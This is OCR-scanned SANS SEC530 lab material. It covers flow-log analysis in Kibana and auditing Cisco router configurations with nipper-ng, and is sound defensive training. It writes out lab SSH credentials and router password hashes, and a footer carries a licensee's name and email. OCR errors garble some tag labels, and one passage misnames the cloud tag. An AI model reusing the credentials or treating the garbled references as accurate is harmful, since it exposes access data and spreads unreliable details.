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Please review the following information before proceeding with the lab.

Internal servers
10.0.0.0/24
172.16.0.0/24
172.16.1.0/24
192.168.0.0/24

fi=2-"7 i

Cloud servers

Internal

workstations
10.1.1.0/24

This lab deals with designing an environment around the collection and use of flow data. For this lab, various
flow data sources have been pre-ingested and tagged. Below is a breakdown of each flow data source and its

corresponding tag.

NetFlow
Server subnets tagl
Desktop subnet tag2

Suricata Software Flows

Server subnets tag3
Desktop subnet tagd
Cloud subnets tagh
Intra-VM traffic tagb

Amazon VPC Flow

Cloud subnet tag7
Key Assets

DCO1 10.0.0.9
DC02 10.0.0.10

VulnScan01  10.0.0.60

SEC530 - SANS ©2019

(Contains traffic going into or out of the server data switches)
(Contains traffic going into or out of the desktop data switches)

(Contains traffic going into or out of server data switches and virtual switches)
(Only contains desktop traffic going to the internet or server subnets)
(Contains traffic going into or out of the cloud subnet that is visible inside the
internal network)

(Contains VM to VM traffic on the same layer 2 subnet and hypervisor)

(Contains traffic going into or out of Amazon cloud environment)

(Domain controller)
(Domain controller)

(Vulnerability scanner)

Exercise 3.1 - Proxy Power Exercise-3.1-3
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Exercise: No hints

1. Identify the differences between NetFlow, Suricata flow, and Amazon VPC flow data sources
e  Which flows are bidirectional?
e Are you missing details between NetFlow and Suricata flow?
e Which type of flow is easier to analyze: unidirectional or bidirectional

NetFlow has an event_type of netflow
Suricata flow has an event_type of flow
Amazon VPC flow has an event_type of vpcflow
2. Identify which flow sources should be enabled to minimize duplicate data without losing visibility. Answer
with the tag numbers that should be enabled
3. Identify which system in the cloud environment is exhibiting abnormal behavior

To answer this question, you need some background information. The cloud assets in this lab are web
servers that receive inbound connections. These assets are within the 172.31.0.0/16 subnet space.

Below are sample search filters for Kibana:

source_ip:[192.168.0.0 TO 192.168.255.255] (Allows searching a range of IP addresses)
destination_port:[1 TO 1024] (Allows searching a range of ports)

e What s the internal IP address of the system?
o What external system(s) is the system communicating with?

SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-4
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Exercise — Step-by-step instructions

1. Identify differences between flow types

Rather than jumping directly into flow design and collecting organizations should be familiar with the
various options and formats of flow data. This lab deals with three: NetFlow, Suricata flow, and Amazon
VPC flow. Begin by identifying characteristics and differences between these three flow formats.

First, access the Flow Data dashboard within Kibana. Directions to access this dashboard are in the
Exercise Preparation section of the lab. At the bottom of the dashboard is a section labeled Flow Data
Saved Search. Scroll down to the Flow Data Saved Search. Expand the first log by clicking on the arrow

on the left.
1-50 of 105,749
Time source_ip  source_port destination_ip destination_port duration event_type
¥ March 2nd 2019, 22:24:47.005 172.16.1.8 33,890 10.0.0.10 53 a few seconds netflow
SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-5
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When the log expands, you can see the full details. Below is a breakdown of the log.

@timestamp
app_proto
beat.hostname
beat.name
beat.version
bytes
community id
destination_ip

# destination_port
# duration

t event_type

# flow_id

t host.architecture
host.containerized
host.id
host.name
host.os.codename
host.os.family
host.os.platform
host.os.version
input. type
log_event_ type
max_ttl

min_ttl
netflow_end
netflow_start

# offset

# packets

t prospector.type
t proto

t source

source_ip

# source_port

t tags

oot

oot of oot

March 2nd 2019, 22:24:47.005 (When log was generated)

dns (Application identified, this is not a standard NetFlow field)
sosensor3 (The system that generated the NetFlow record)

sosensor3 (The system that generated the NetFlow record)

6.5.4 (The log agent for the system that generated the log)

68B (How many bytes were sent)

1:424IVEtDVmEvg2tOw+jNjCgzzIg=

10.0.0.10

53

a few seconds (How long connection lasted)

netflow (Type of flow data

1,406,953,034,279,485 (correlation ID, not a standard NeFlow field)
x86 64 (Log agent operating system architecture)

false (Describes whether the source of log was a Docker container)
220367b45a2e2544428637d15b635477 (Unique log agent host ID)

sosensor3 (The system that generated the NetFlow record)

xenial (The operating system of the host generating the record)
debian (The operating system type of the host generating the record)
ubuntu (The operating system type of the host generating the record)
16.04.5 LTS (Xenial Xerus) (The full operating system of the host 0S)
log

suricata

62

62

22:19:46.846
22:19:46.846

March 2nd 2019,
March 2nd 2019,
226,810,751

(time the NetFlow connection started)
(time the NetFlow connection ended)

1
log (Log agent collection information)
UDP (The protocol of the connection)

/nsm/sensor_data/sosensor3-ensl92/eve-2019-03-03-03:04:31.json
172.16.1.8

33,890

beats input codec plain applied,

tagl (Tags associated with the flow)

Note: The t to the left of the field stands for a string. The # stands for a number. The clock symbol stands
for time. The computer symbol stands for the IP address. These represent the field types for each field.

Ignoring the log agent fields, this means the NetFlow event type has the following standard fields:

Bytes
Destination IP

Destination Port

Duration
Max TTL
Min TTL

Start and End Times

Packet Count
Protocol
Source IP
Source Port

SEC530 - SANS ©2019
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Scroll back to the top of the log and click on the arrow again to collapse the log.

Time

Table

= March 2nd 2019, 22:24:47.005

source_ip source_port

172.16.1.8 33,890

JSON

@ @timestamp

t @version

@ @ [M %« March 2nd 2019, 22:24:47.005
aald=*1

t id aa ByCBOWKBLISAsPT-Gzem

Now, look at the first two logs.

Time source_ip source_port destination_ip destination_port  duration event_type
»  March 2nd 2019, 22:24:4?.9 172.16.1.8 33,890 o 10.0.0.10 o 53 o a few seconds netflow
»  March 2nd 2019, 22:24:4?.0 10.0.0.10 53 o 172.16.1 .89 33,890 e a few seconds netflow

Notice, the logs are for the same DNS flow. The log at the top is the DNS request and the second log is the
DNS response. You can identify this by tracing the numbers in the image above. The IP addresses and
ports are identical in this request. Plus, the timestamps involved match. What this means is that the
NetFlow log is unidirectional. This means that two logs will be cut for each connection.

Note: Think of unidirectional logging as always logging connections to server and connections from the
server as separate logs. The bytes and packet count are recorded based on directionality.

Next, expand the third log in the Flow Data Saved Search. Do this by clicking on the arrow to the left of
the log. This log is a Suricata flow log.

Time source_ip source_port
»  March 2nd 2019, 22:24:47.005 172.16.1.8 33,890
3 h 2nd 2019, 22:24:47.005  10.0.0.10 33
v © March 2nd 2019, 22:24:47.004 172.16.1.8 59,566

SEC530 - SANS ©2019
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This time, the log has the information below. Comments are added next to some fields for clarity.

@timestamp
app_proto
beat.hostname
beat.name
beat.version
bytes to_client
bytes to_server
community id
destination_ip

# destination_port
# duration

t event_ type
flow_alerted
flow_end

# flow_id
flow_start

t host.architecture
host.containerized
host.id
host.name
host.os.codename
host.os.family
host.os.platform
host.os.version
input. type
log_event type
offset
packets_to_client
packets_to_server
prospector. type
proto

reason

source
03:04:31.7json
source_ip

# source port

t state

t tags

oF = oF oo o

R H

March 2nd 2019, 22:24:47.004

dns

sosensor3
sosensor3
6.5.4

638B

68B
1:Ny+wwCtXi2kJtejGx96+69+G8Vg=
10.0.0.10

53

a few seconds
flow

false (describes if flow is also associated to an alert)
March 2nd 2019, 22:19:46.845
1,530,231,480,575,292

March 2nd 2019, 22:19:46.845

x86 64

false

220367b45a2e2544428637d15b635477

sosensor3

xenial

debian

ubuntu

16.04.5 LTS (Xenial Xerus)

log

suricata

226,798,661

1

1

log

UDP

timeout (described why the connection ended)
/nsm/sensor data/sosensor3-ensl92/eve-2019-03-03-

172.16.1.8

59,566

established

beats input codec plain applied, tag3

In this case, there are a few differences between the NetFlow logs and this Suricata Flow log. Specifically,
bytes and packet counts going to the server and from the server are recorded on the same log instead of
two separate logs. This means the log is a bidirectional flow log. Also, Suricata is tracking if a flow
connection is associated with intrusion detection alerts or other metadata such as DNS and HTTP.

Suricata Flow logs had the following fields the NetFlow logs did not:

flow alerted

Note: The connection state and reason are specific to the TCP protocol and would have existed in the
NetFlow records had they been TCP connections.

SEC530 - SANS ©2019
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The last flow type recorded is the Amazon VPC flow logs. To find these logs scroll to the top of the Flow
Data dashboard and click on tag7 within the Flow by Tag visualization. This will search for logs tagged
with tag7.

Dashboard / Flow Data

Search... (e.g. status:200 AND extension:PHP)

Add a filter 4

@ tagl
®tag2
®taz3
@ tagd
®1tags

tagb

’ Click here tag?7

Flow Type

When it asks to Apply these Filters, click on Apply Now.

Dashboard / Flow Data

Search... (e.g. status:200 AND extension:PHP)

Apply these filters? ¢/ event_typekeyword: vpcflow ¥ query: tags:tag7 Cancel

Scroll down to the Flow Data Saved Search and expand the first log.

Flow Data Saved Search

* Time source_ip source_port

»  March2nd 2019, 22:21:20.000 66.116.50.26 65,197

SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-9
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This time, the flow log has the information found below. Please note that geo fields are not part of an
Amazon VPC flow log but were added during log ingestion.

@timestamp

# account_id
t action ACCEPT

destination_ip 172.31.35.212

# destination_port 80

# duration 4 minutes

end March 2nd 2019, 22:21:20.000

t event_ type vpcflow

t interface_id eni-0e4£2833fccllacfl

t 1log_status OK

t message 2 807773145743 eni-0e4£f2833fccl9acfl 66.116.50.26
172.31.35.212 65197 80 6 5 205 1551583066 1551583280 ACCEPT OK

March 2nd 2019, 22:21:20.000
807,773,145,743

# protocol 6

t source geo.as_org Consolidated Communications, Inc.
# source geo.asn 5,742

t source geo.city name Charleston

t source_geo.continent code NA

t source_geo.country code2 Us

t source_geo.country code3 Us

t source_geo.country name United States

# source geo.dma_ code 648

source_geo.ip 66.116.50.26
# source_geo.latitude 39.5
source_geo.location {

"lat": 39.4995,

"lon": -88.1581

}

# source_geo.longitude -88.158

t source geo.postal_ code 61920

t source geo.region_code IL

t source geo.region_ name Illinois

t source_geo.timezone America/Chicago
source_ip 66.116.50.26

# source_port 65,197

start March 2nd 2019, 22:17:46.000
t tags vpcflow, tag?

t total bytes 205

t total_packets 5

# version 2

In this case, the Amazon VPC Flow has the following fields that do not exist in NetFlow or Suricata Flow

logs:

account_id This identifies what Amazon account the record is for

interface_id This identifies what virtual interface the flow record generated from
message The original Amazon VPC Flow log unparsed

version What version of Amazon VPC Flow log is in use

SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-10
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Notice, that the Amazon VPC Flow has total_bytes and total_packets. However, it does not state
to_client or to_server. This is because Amazon VPC Flow logs are unidirectional. You can see this by
scrolling to the top of the log and clicking on the arrow to minimize it.

Time source_ip source_port
March 2nd 2019, 22:21:20.000 66.116.50.26 65,197
Tab JSON
@ @timestamp @ g [ % March 2nd 2019, 22:21:208.000

The first two logs are for the same connection. The top log is for the connection going to the Amazon
server. The second log is for the same connection but being recorded from the Amazon server.

Time source_ip source_port destination_ip destination_port duration event_type
|I| March 2nd 2019, 22:21:20.000 | 86.116.50.26 65,197 172.31.35.212 80 4 minutes  vpcflow
»  March 2nd 2019, 22:21:20.000 | 172.31.35.212 80 66.116.50.26 65,197 4 minutes  vpcflow

Below are the answers to Step 1.

Suricata Flow is bidirectional. NetFlow and Amazon VPC Flow are unidirectional. Because bidirectional
logs have all connection information on one log, they are easier to analyze and work with. The primary
field differences between the three records are that Suricata Flow logs can include alert and metadata

fields and Amazon VPC Flow logs record information about the Amazon account and virtual interfaces.

Before moving on, clear out your existing search filters by clicking on Actions and then Remove.

Search... (e.g. status:200 AND extension:PHP) Uses lucene query syntax B

event_type.keyword: "vpcflow” query: "tags:tag7" Add a filter < o #
All filters: Enable Disable Pin Unpin Invert Toggle Remuueh e
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2. Minimize duplicate flow logs

Before attempting this step, it is important to review what each tag identifies. As a reminder, here are the
description of the data sources and tags.

NetFlow (Normally generated on networking equipment)

Server subnets tagl (Contains traffic going into or out of the server data switches)
Desktop subnet tag2 (Contains traffic going into or out of the desktop data switches)

Suricata Software Flows (Generates via software analyzing traffic - VM or physical with mirroring and
taps)

Server subnets tag3 (Contains traffic going into or out of server data switches and virtual switches)

Desktop subnet tagd4 (Only contains desktop traffic going to the internet or server subnets)

Cloud subnets tag5 (Contains traffic going into or out of the cloud subnet that is visible inside the
internal network)

Intra-VM traffic tagé (Contains VM to VM traffic on the same layer 2 subnet and hypervisor)

Amazon VPC Flow (Generates flows using virtual network fabric)
Cloud subnet  tag7 (Contains traffic going into or out of Amazon cloud environment)

The diagram below shows the network design with corresponding tag numbers. It helps visualize where
the flow logs are being generated.

Internal servers

10.0.0.0/24 Cloud servers
172.16.0.0/24 internal
: g : 28| 006 2/;4 workstations
TR 10.1.1.0/24
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The goal of step two is to identify how to collect flow logs while minimizing duplicate traffic generation.
For example, click on tag2 in the Flow by Tag visualization and then click on the Magnifying Glass with a
plus sign in it.

0 —» =

2000000
T so00000®
o000 00OS

- BT

Flow Type

Review the # Connections by Source table.

# Connections by Source
Source IP Count
10.0.0.60 14,513
10.0.0.10 257
10.1.1.4 254
10.1.1.3 102
172.16.1.200 25

Next, hover your mouse over the tag2 filter and then click on the Trash Can icon next to the tag2 filter.

Dashboard / Flow Data

tus:200 AND extension:PHP)

Add a filter 4
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Next, click on tag4d in the Flow by Tag visualization and then click the magnifying glass with the plus sign

to filter on tag4.

Flow Type

@ tagl
® tag2
Q Q
0000000O
0000000O
ov0000OCO
o @] 00000

: ()
Count e .tag4 .
‘ Q Q

Again, review the # Connections by Source table.

# Connections by Source

Source IP
10.0.0.60
10.1.1.4
10.1.1.3
10.1.1.5

10.1.1.2

Count
14,513
233

80

15

The results between tag2 and tagéd are near identical. This is because both NetFlow and Suricata data
sources are seeing the same traffic and logging it. Thus, they are duplicating traffic. To minimize traffic, a
strategic decision must be made. Hover over your search filter for tag4 and click on the garbage can icon.

p:200 AND extension:PHP)

Add a filter 4+

Next, the flow sources will be broken down to identify where to generate and collect flow data while

dealing with duplication issues.

SEC530 - SANS ©2019
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j=w—o0-—= |
I 4| | 7 II

3,4,5,6
S ¢ ]

Internal servers

10.0.0.0/24 | Cloud servers
172.16.0.0/24 Internal
: ;g : 28I (% 2/‘2‘4 workstations

- 100U 10.1.1.0/24

Based on the diagram above, tag6 is the only method to collect flow logs to, from, and between Amazon
cloud systems. It is possible traffic to or from the cloud systems to internal systems would be visible by
tags 1 through 5. However, they would be limited in scope and miss public systems accessing cloud
assets.

Therefore, Amazon VPC Flow logs (tag7) is necessary for full cloud visibility.

Next, analyze the workstations. To see workstation to workstation traffic NetFlow from the switch (tag2)
would be necessary. This would leave tag2 logging traffic to and from workstations as well as workstation
to workstation traffic. Without tag2, it would be difficult to see unauthorized or anomalous connections
from workstation to workstation.

This leaves the server subnets. Collecting logs from NetFlow (tagl) would duplicate traffic when
workstations were communicating with servers as well as if servers were communicating with the cloud
systems. This leaves Suricata flows or tags 3 through 6. Collecting tag4 would duplicate workstations
communicating to servers. Collecting tag5 would duplicate servers communicating with cloud systems.
That leaves tag3 and tagb. Communication to server subnets (tag3) should be logged but only if it is not
to a workstation (tagd) and cloud servers (tag5). Lastly, tagb is the only method that logs the virtual
machine to virtual machine traffic. To capture this Suricata is running on each hypervisor.

Note: Instead of running Suricata on each hypervisor a commercial virtual TAP or distributed switch port
mirroring could be utilized to a physical server running Suricata.

For maximum visibility while minimizing the chance of duplicate traffic you would want to generate and
collect logs via Amazon VPC Flow (tag7), NetFlow on workstation switches (tag2), and Suricata Flow
generation only involving servers and virtual machine to virtual machine traffic (tag3 when not involving
tag4 or tag5 and then tagé6).
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Look at the # of Records visualization in the dashboard.

# of Records

105,749

# of Records

Notice, there are 105,749 flow records in total for this lab. To see the impact of the decisions above,
enter the following in the search bar and click on search. This is a single search entry that fits on one line

in the search bar.

tags:tag’7 OR tags:tag?2 OR tags:tag6 OR tags:tag3 -tags:tagl
-tags:tag4 -tags:tagb

Dashboard / Flow Data Fullscreen Share Clone Edit C Auto-refresh < © February 23rd 2019, 00:00:00.000 to March 2nd 2019, 23:59:59.000 >

tags:tag7 OR tags:tag2 OR tags:tag6 OR tags:tag3 -tags:tag1 -tags:tag4 -tags:.tags Uses Iucaﬂ ]

Now, look at the # of Records visualization.

# of Records

39,809

# of Records

By tactical deciding where to generate and collect logs the volume of flow data collected would be
reduced by 62.36% resulting in 39,809 records. More importantly, the difference would have been
duplicate traffic that fills up hardware capacity and generates more false positives when generating
anomalies or alerts. Before moving on, clear your search filter and click on search.

Search... (e.g. status:200 AND extension:PHP) Uses Iuﬁ Q
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3. Identify Anomalous Traffic

In step three you are trying to identify abnormal traffic related to the Amazon cloud systems. Begin by
filtering on traffic only related to cloud assets. Do so by clicking on tag7 and then clicking on the
magnifying glass with the plus sign within the Flow by Tag visualization.

Flow Type

@ tagh
o * @7
a Q
P ’....l..
ooo0000®

: ] e 20000000
Count & 290090090
29090

Step three states that the cloud assets are web servers that accept inbound connections. Based on this
information the following areas are options for flow monitoring:

e |dentifying odd outbound traffic sourcing from the cloud assets (indicative of a compromised web
server)

e Identifying large volumes of requests from a source system into the cloud assets (indicative of
scanning)

e |dentifying large downloads over time from the cloud assets (indicative of data exfiltration)

Given that step three mentions, inbound connections start by looking for web servers making odd
outbound connections. Do so by searching for traffic sourcing from the cloud assets by entering the
search filter below and clicking on search.

source ip:[172.31.0.0 TO 172.31.255.255]

source_ip:[172.31.0.0 TO 172.31.255.255] Uses “

query: "tags:tag7" Add a filter 4+ Actions ¥
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Looking at the Flow Data Saved Search shows a lot of the connections have destination ports that are

ephemeral ports.

Time
»  March 2nd 2019, 22:21:20.000
b March 2nd 2019, 22:21:20.000

»  March 2nd 2019, 22:21:20.000

v March 2nd 2019, 22:20:20.000

source_ip

172.31.35.212
172.31.35.212
172.31.35.212

172.31.68.55

source_port

&0

6,679

8,088

22

destination_ip

66.116.50.26
5.188.206.130
134.209.15.24

218.92.0.183

destination_port

65,197
52,782
43,667

50,070

duration

4 minute

a minute

a minute

a minute

1-50 of 3,124

event_type

s vpcflow
vpcflow
vpcflow

vpcflow

Note: Ephemeral ports are high ports in the range of 1024 to 65535. These ports are the client ports
involved with a connection. As an example, a Windows box connecting to a web server may have an
ephemeral port of 50,001 for the source port and a destination port of 80 for the web server.

Knowing that Amazon VPC Flow logs are unidirectional change your search filter to only includes
destination ports that are well known ports (1024 or below). Do this by updating your search below.

1024]

source 1ip:[172.31.0.0 TO 172.31.255.255] AND destination port:[1l TO

m

query: "tags:tagy

Add a filter 4

source_ip:[172.31.0.0 TO 172.31.255.255] AND destination_port:[1 TO 1024]

Uses lucene query syntax

Actions »

Again, look at the Flow Data Saved Search. This time, almost all the connections are to destination port
123. This is NTP. While NTP could be utilizing for tunneling, it looks like all the cloud assets are performing

NTP and in low quantities.

Time source_ip source_port destination_ip destination_port duration event_type
March 2nd 2019, 22:19:54.000 172.31.79.115 123 216.229.0.50 123 aminute  wpcflow
March 2nd 2019, 22:17:50.000 172.31.71.112 123 45127.112.2 123 aminute  vpcflow
March 2nd 2019, 22:17:20.000  172.31.68.55 123 50.116.52.57 aminute  vpcflow
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Modify your search to exclude destination port 123 by updating it to below.

source 1ip:[172.31.0.0 TO 172.31.255.255] AND destination port:[1 TO
1024] -destination port:123

source_ip:[172.31.0.0 TO 172.31.255.255] AND destination_port:[1 TO 1024] -destination_port:123 Uses lucene CUEM
query: "tagsitags” Add a filter 4 Actions b

o
o

Looking at the Flow Data Saved Search, there are only five flow records left.

Flow Data Saved Search
Time source_ip source_port destination_ip destination_port duration event_type
»  March 2nd 2019, 22:09:53.000 172.31.25.34 80 54.39.209.224 22 aminute  vpcflow
¥ March 2nd 2019, 22:08:53.000 172.31.25.34 80 54.39.209.224 22 Zminutes  vpcflow
»  March 2nd 2019, 22:04:19.000 172.31.35.212 55,142 198.8.93.14 80 aminute  vpcflow
»  March 2nd 2019, 22:04:19.000 172.31.35.212 53,350 198.8.93.14 443 aminute  vpcflow
»  March 2nd 2019, 22:03:19.000 172.31.35.212 55,418 B.B.5.8 53 aminute  vpcflow

The first two logs show a source port of 80 and destination port of 22. While this may look like SSH traffic,
it ends up being a client that connects to a web server with a client port of 22. That leaves the last three
logs. In this case, the cloud asset 172.31.35.212 is connecting outbound to 198.8.93.14 over port 80 and
443 and is also connecting to 8.8.8.8 over port 53. Based on the ephemeral ports, 172.31.35.212 is the
one making the connection.

The answer to step three is that the cloud asset of 172.31.35.212 is showing abnormal connections to
two external IP addresses of 198.8.93.14 and 8.8.8.8.
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Lab Conclusion

In this lab, you have analyzed various flow data to decide how to consume flow data and use it properly. This
included:

e |dentifying the differences between different types of flow data
e Deciding when and where to enable certain types of flow data
e Learning the impact of unidirectional vs bidirectional flow data
e |dentifying anomalous activity using flow data

Now run the post check script to stop the Docker containers that were running in this lab. Do so with the
command below.

$ sudo pwsh /labs/check.psl -check postcheck -lab 1.3

Lab 1.3 is now complete!

SEC530 - SANS ©2019 Exercise 3.1 - Proxy Power Exercise-3.1-20

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020
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Exercise 2.1 - Auditing Router Security

Objectives

e  Connect to the Security 530 router lab network
e  Retrieve the Cisco I0S configurations for two routers:
e Aless secure configuration (10.5.30.12)
e A more secure example (10.5.30.13)
e  Use nipper-ng to analyze both router configurations
e  Analyze which configuration options were recognized as more secure by nipper-ng

Lab Setup

e Connect to the router lab network. Type the following command:

$ sudo openvpn --config /etc/openvpn/sec530.ovpn

If successful, the output will end with " Initialization Sequence Completed":

v Terminal - student@Security530: ~ - + X
File Edit View Terminal Tabs Help
Thu Mar 1 10:52:54 2018 TUN/TAP device tun@® opened
Thu Mar 1 10:52:54 2018 TUN/TAP TX queue length set to 100
Thu Mar 1 10:52:54 2018 do_ifconfig, tt->ipv6=0, tt->did ifconfig ipv6_ setup=0
Thu Mar 1 10:52:54 2018 /sbin/ip link set dev tun® up mtu 15600
Thu Mar 1 10:52:54 2018 /sbin/ip addr add dev tun® local 10.8.0.6 peer 10.8.0.5
Thu Mar 1 10:52:54 2018 /etc/openvpn/update-resolv-conf tun® 1500 1572 10.8.0.6 10.8.0.5 init
Thu Mar 1 10:52:54 2018 /sbin/ip route add 10.5.30.0/24 via 10.8.0.5
Thu Mar 1 10:52:54 2018 /sbin/ip route add 10.8.0.1/32 via 10.8.0.5
Thu Mar 1 10:52:54 2018 GID set to nogroup 2
Thu Mar 1 10:52:54 2018 UID set to nobody
ihu Mar 1 10:52:54 2018 Initialization Sequence Completed

o Please note: If you are using a corporate or personal VPN on your host computer, disconnect it, as it may
disallow a second VPN connection to the SEC530 environment.

e Next, open a second terminal. Then ping a router on the lab network. Type the following command:

$ ping -c4 10.5.30.10

You see the following output if you are successful:
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\ Terminal - student@Security530: ~ - + X

File Edit View Terminal Tabs Help

[~]$ ping -c4 10.5.30.10

PING 10.5.30.10 (10.5.30.10) 56(84) bytes of data.

64 bytes from 10.5.30.10: icmp seg=1 tt1=254 time=14.0 ms
64 bytes from 10.5.30.10: icmp seq=2 ttl=254 time=8.79 ms
64 bytes from 10.5.30.10: icmp seq=3 ttl=254 time=15.5 ms
64 bytes from 10.5.30.10: icmp seq=4 tt1=254 time=11.6 ms

--- 10.5.30.10 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 8.791/12.511/15.566/2.565 ms

[~1$

Lab Instructions

1. We will begin by copying the Cisco I0S configuration from 10.5.30.12. As we discovered in lab 1.2: the
SSH username is test, and the password is Bond007. This is a lower-privilege account, but it has
permission to read the router's configuration.

Type the following in a terminal:

S ssh test@10.5.30.12

Then type user test's password: Bond007
You may receive a prompt to verify the RSA key fingerpint. If this happens enter "yes".
2. Let's view the router's (partial, as we will see shortly) running configuration. This is the configuration
stored in RAM. The startup configuration (or simply, the "configuration") is stored in firmware. The

router will load the startup configuration when rebooted.

We are going to test tab-complete in Cisco I0S. Type "show run" and then press <TAB>. It will tab-
complete to "show running-config". Then press <enter> on your keyboard.

# show running-config

Sec530 - © 2019 Eric Conrad and Justin Henderson Exercise 2-1 Exercise-2.1-2

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020



[~]$ ssh test@10.5.30.12
Password:

Welcome to the Security router!
Please enjoy your stay!
Routerl2#show run
Routerl2#show running-config

Building configuration...

Current configuration : 114 bytes
I

Boot-start-marker

boot-end-marker
|

end

Router12#

v Terminal - student@Security530: ~
File Edit View Terminal Tabs Help

| Last configuration change at 14:33:38 UTC Wed Mar 7 2018

Hmm. That is a very short running configuration! It turns out that Cisco I10S has an odd quirk: lower-
privileged accounts may only view a very small subset of the router's running configuration, but are
able to view the complete startup configuration.

3. Let's view the router's startup configuration. This configuration is stored in firmware, and is persistent

across reboots and power cycles.

We are going to test tab-complete in Cisco 10S. Type "show conf" and then press <TAB>. It will tab-

complete to "show configuration". Then press <enter> on your keyboard.

# show configuration
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M Terminal - student@Security530: ~ - + X
File Edit View Terminal Tabs Help

Router12#sh conf

Routerl2#sh configuration
Using 1515 out of 522232 bytes
)

| Last configuration change at 10:54:51 UTC Wed Mar 7 2018
I

version 15.2

service timestamps debug datetime msec

service timestamps log datetime msec

I

Hostname Routerl2
}
boot-start-marker
boot-end-marker

I
!
!

no aaa new-model

no ip icmp rate-limit unreachable
ip cef

)

!
!
!
!

--More-- J§

Page through the configuration by pressing the space bar. You will see the full configuration, including
password hashes for all users.

4. Let's copy the startup configuration to a local file. We will later analyze it with nipper-ng.

There are a number of ways to copy Cisco I0S configurations from a router: TFTP, FTP, SCP, and
copying via an interactive terminal session (such as SSH). We will use SSH for this lab. We will use TFTP
(via nmap) in a subsequent lab.

We first need to disable terminal paging (including removing "--More--"), as we want a clean
configuration. The "terminal length" command controls pagination, and "terminal length 0"
disables it. Type the following:

# terminal length 0
# show configuration
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|~ Terminai - student@Security530: ~ - + X |
File Edit View Terminal Tabs Help

Routerl2#terminal length 0
Router12#sh configuration
Using 1515 out of 522232 bytes
I

| Last configuration change at 10:54:51 UTC Wed Mar 7 2018
)

version 15.2

service timestamps debug datetime msec

service timestamps log datetime msec

}

ﬁostname Routerl2
I
boot-start-marker
boot-end-marker

I
!
!

no aaa new-model

no ip icmp rate-limit unreachable
ip cef

!

no ip domain lookup

ip domain name sec530.org
no ipvé cef

)

!
multilink bundle-name authenticated
|

ﬁsername test privilege 5 secret 5 $1$HhfI$fqlaSq68HFIYseKRPK8FsO

username instructor privilege 15 secret 5 $1$R4p8$r19WI0O0Xwo0X1q9DND6GY/
!

You will see the entire configuration. The screenshot above shows the beginning and is truncated in
order to fit on the page.

5. Copy the configuration from your terminal scroll up to first exclamation point (below the line that
begins with "Using ...") and highlight it.
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v Terminal - student@Security530: ~ -
File Edit View Terminal Tabs Help

Routerl2#sh configuration
Using 1515 out of 522232 bytes
I

! Last configuration change at 10:54:51 UTC Wed Mar 7 2018
I
version 15.2

service timestamps debug datetime msec
service timestamps log datetime msec

I

Hostname Routerl2
|

Boot-start-marker
boot-end-marker

no aaa new-model
no ip icmp rate-limit unreachable
ip cef

Then scroll down to the word "end".

v Terminal - student@Security530: ~ -

File Edit View Terminal Tabs Help

ik
I

line con ©
exec-timeout 0 0
privilege level 15
logging synchronous
stopbits 1

line aux 0
exec-timeout 0 0
privilege level 15
logging synchronous
stopbits 1

line vty 0 4

login local
transport input ssh
line vty 5 50

login local
transport input ssh
I

!
end

Routerl2#j)

Then press <SHIFT><CTRL><C> (or choose Edit->Copy).
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Open gedit by going to the "mouse menu" in the upper left corner, and choosing the "gedit" favorite.

[ QJ
e Web Browser [i} Favorites ]
Lij Mail Reader O Recently Used
& | File Manager B All

LibreOffice Writer g} Accessories

D LibreOffice Calc
¢ Pidgin Internet Messenger

~ Development
= & Education
| @) Software Y Games

Terminal Emulator .
g $%) Graphics

£d Hel
@ Her @ Internet

(@) Screenshot -
B Multimedia

, gedit ‘
! ™ office

Paste the selected 10S configuration text into gedit (press <CTRL><V>):

‘Open v H ar \ *Untitled Document 1 ‘Save} = 4+ X

File Edit View Search Tools Documents Help

I

I Last configuration change at 10:54:51 UTC Wed Mar 7 2018
|

version 15.2

service timestamps debug datetime msec

service timestamps log datetime msec

I

Hostname Routerl2
|
boot-start-marker
boot-end-marker

I
|
!
no aaa new-model

no ip icmp rate-limit unreachable

ip cef
|

no ip domain lookup

ip domain name sec530.org

no ipvé cef

I
PlainText v  TabWidth:8 v Ln 116, Col 1 v INS

Then press "Save" and save as: "/home/student/router12.conf".
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6. We will follow the same process for 10.5.30.13 {(which has a more secure configuration), and copy its
configuration locally. It has the same username/password as 10.5.30.12.

We will show the abbreviated steps here, see the previous steps for detailed screenshots, etc.

Type the following in a terminal (note are connecting to a different router than the previous steps,
with an IP address ending in ".13"):

S ssh test@10.5.30.13

Then type user test's password: Bond007
You may receive a prompt to verify the RSA key fingerpint. If this happens enter "yes".

Type the following:

# terminal length O
# show configuration

Copy the configuration from your terminal scroll up to first exclamation point (below the line that
begins with "Using ...") and highlight it. Then scroll down to the word "end". Then press
<SHIFT><CTRL><C> (or choose Edit->Copy).

If gedit is still open: press the "+" sign (in the upper left) to open a new document. If you previously
closed gedit: open it again by going to the "mouse menu" in the upper left corner of the desktop, and
choosing the "gedit" favorite.

Paste the selected I0S configuration text into gedit (press <CTRL><V>).

Then press "Save" and save as: "/home/student/router13.conf".

7. Analyze the two Cisco 10S configurations with nipper-ng. Open a new Linux terminal and type the
following commands

$ nipper --input=/home/student/routerl2.conf > /home/student/Desktop/routerl2.html
$ nipper --input=/home/student/routerl3.conf > /home/student/Desktop/routerl3.html
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Two desktop HTML reports will be created.

Double-click on each: they will open in Firefox tabs.

|~ Cisco Router Router12 Security Report - Mozilla Firefox

Cisco Router Router12 Security = X \ Cisco Router Router13 Security £ X ‘ +

1. About This Report
1.1. Organisation
1.2. Conventions

2. Security Audit
2.1. Introduction
2.2. Weak Password / Key
2.3. Inbound TCP _Connection Keep Alives
2.4. Connection Timeout
2.5. Auxiliary Port
2.6. IP_Source Routing
2.7. Simple Network Management Protocol
2.8. Telnet
2.9. ICMP Redirects
2.10. Logging

2.11. Proxy ARP

-S> C B [@ file:///home/student/Desktop/router12.html v O v N @O =
Nipper H
Cisco Router Security Report
of the
Routerl2 Cisco Router
Contents

8. We will now perform analysis of the two configurations. Remember that Router 12 (10.5.30.12) has a
fairly basic (and less secure) configuration, while Router13 (10.5.30.13) has a more secure (though

hardly perfect) configuration.
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Compare the "Security Audit" outline summaries for both routers. Router12 has 19 items (including
